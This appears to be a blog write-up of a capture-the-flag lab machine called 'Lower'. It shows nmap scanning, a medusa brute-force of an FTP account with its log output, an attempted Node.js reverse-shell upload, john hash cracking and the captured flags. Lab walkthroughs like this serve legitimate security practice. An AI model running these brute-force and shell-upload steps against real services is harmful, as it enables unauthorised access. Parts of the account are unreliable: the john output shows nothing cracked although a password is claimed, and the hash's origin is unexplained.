Profile

Shadow


Lower

By Sh1dO0w October 11, 2025 Posted in CTF

When start the VM i got machine ip

I start with a nmap scan

┌──(kali㉿kali)-[~]
└─$ nmap 192.168.1.19          

Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-12 10:48 EST
Nmap scan report for 192.168.1.19
Host is up (0.0013s latency).
Not shown: 998 filtered tcp ports (no-response)
PORT     STATE SERVICE
21/tcp   open  ftp
3000/tcp open  ppp

Nmap done: 1 IP address (1 host up) scanned in 5.91 seconds

So FTP is open let’s play with FTP

┌──(kali㉿kali)-[~]
└─$ ftp 192.168.1.19

Connected to 192.168.1.19.
220 "Hello a.clark, Welcome to your FTP server."
Name (192.168.1.19:kali): anonymous
331 Please specify the password.
Password: 
530 Login incorrect.
ftp: Login failed
ftp> exit
221 Goodbye.

So anonymous login is not allowed but a got a username a.clark let’s brute force the password.

medusa -u a.clark -P /usr/share/wordlists/rockyou.txt -h 192.168.1.19 -M ftp

complete) Password: robert (77 of 14344391 complete)
2025-11-12 11:08:36 ACCOUNT CHECK: [ftp] Host: 192.168.1.19 (1 of 1, 0 complete) User: a.clark (1 of 1, 0 complete) Password: danielle (78 of 14344391 complete)
2025-11-12 11:08:39 ACCOUNT CHECK: [ftp] Host: 192.168.1.19 (1 of 1, 0 complete) User: a.clark (1 of 1, 0 complete) Password: forever (79 of 14344391 complete)
2025-11-12 11:08:41 ACCOUNT CHECK: [ftp] Host: 192.168.1.19 (1 of 1, 0 complete) User: a.clark (1 of 1, 0 complete) Password: family (80 of 14344391 complete)
2025-11-12 11:08:44 ACCOUNT CHECK: [ftp] Host: 192.168.1.19 (1 of 1, 0 complete) User: a.clark (1 of 1, 0 complete) Password: jonathan (81 of 14344391 complete)
2025-11-12 11:08:48 ACCOUNT CHECK: [ftp] Host: 192.168.1.19 (1 of 1, 0 complete) User: a.clark (1 of 1, 0 complete) Password: 987654321 (82 of 14344391 complete)
2025-11-12 11:08:51 ACCOUNT CHECK: [ftp] Host: 192.168.1.19 (1 of 1, 0 complete) User: a.clark (1 of 1, 0 complete) Password: computer (83 of 14344391 complete)
2025-11-12 11:08:54 ACCOUNT CHECK: [ftp] Host: 192.168.1.19 (1 of 1, 0 complete) User: a.clark (1 of 1, 0 complete) Password: whatever (84 of 14344391 complete)
2025-11-12 11:08:54 ACCOUNT CHECK: [ftp] Host: 192.168.1.19 (1 of 1, 0 complete) User: a.clark (1 of 1, 0 complete) Password: dragon (85 of 14344391 complete)
2025-11-12 11:08:54 ACCOUNT FOUND: [ftp] Host: 192.168.1.19 User: a.clark Password: dragon [SUCCESS]

and i found a password dragon is the password

┌──(kali㉿kali)-[~]
└─$ ftp a.clark@192.168.1.19
Connected to 192.168.1.19.
220 "Hello a.clark, Welcome to your FTP server."
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||62179|)
150 Here comes the directory listing.
226 Directory send OK.
ftp> put hello.txt
local: hello.txt remote: hello.txt
229 Entering Extended Passive Mode (|||46558|)
150 Ok to send data.
100% |*********************************************************|     6       28.58 KiB/s    00:00 ETA
226 Transfer complete.
6 bytes sent in 00:00 (2.21 KiB/s)

I can use PUT here to test this i upload a rev shell of node.js

local: rev.js remote: rev.js
229 Entering Extended Passive Mode (|||17037|)
150 Ok to send data.
100% |*********************************************************|   380        1.50 MiB/s    00:00 ETA
226 Transfer complete.
380 bytes sent in 00:00 (121.31 KiB/s)
ftp> ls -la
229 Entering Extended Passive Mode (|||57329|)
150 Here comes the directory listing.
drwxrwxrwx    2 1000     1000         4096 Nov 09 22:31 .
drwxrwxrwx    2 1000     1000         4096 Nov 09 22:31 ..
-rw-------    1 1000     1000            6 Nov 09 22:27 hello.txt
-rw-------    1 1000     1000          380 Nov 09 22:31 rev.js
226 Directory send OK.
ftp> 

But i couldn’t get the rev shell but In the Vm i able to Login with these credits.

─(kali㉿kali)-[~]
└─$ cat hash.txt
$y$j9T$9VFLJjKZix0Ugj9Yso0Cs.$z0FVk.1CCNx/YRzEmujcz6z4oVqa7YD6QyXd52JxyLD                                                                                                    
┌──(kali㉿kali)-[~]
└─$ john --format=crypt hash.txt --wordlist=wordlist.txt                    

Using default input encoding: UTF-8
Loaded 1 password hash (crypt, generic crypt(3) [?/64])
Cost 1 (algorithm [1:descrypt 2:md5crypt 3:sunmd5 4:bcrypt 5:sha256crypt 6:sha512crypt]) is 0 for all loaded hashes
Cost 2 (algorithm specific iterations) is 1 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Warning: Only 2 candidates left, minimum 96 needed for performance.
0g 0:00:00:00 DONE (2025-11-13 02:04) 0g/s 100.0p/s 100.0c/s 100.0C/s bassman
Session completed. 

and the password is bassman let’s change the user to root

user = 9f903bRed3aac03f

root = 97b7922RED3e350241

Happy Hacking!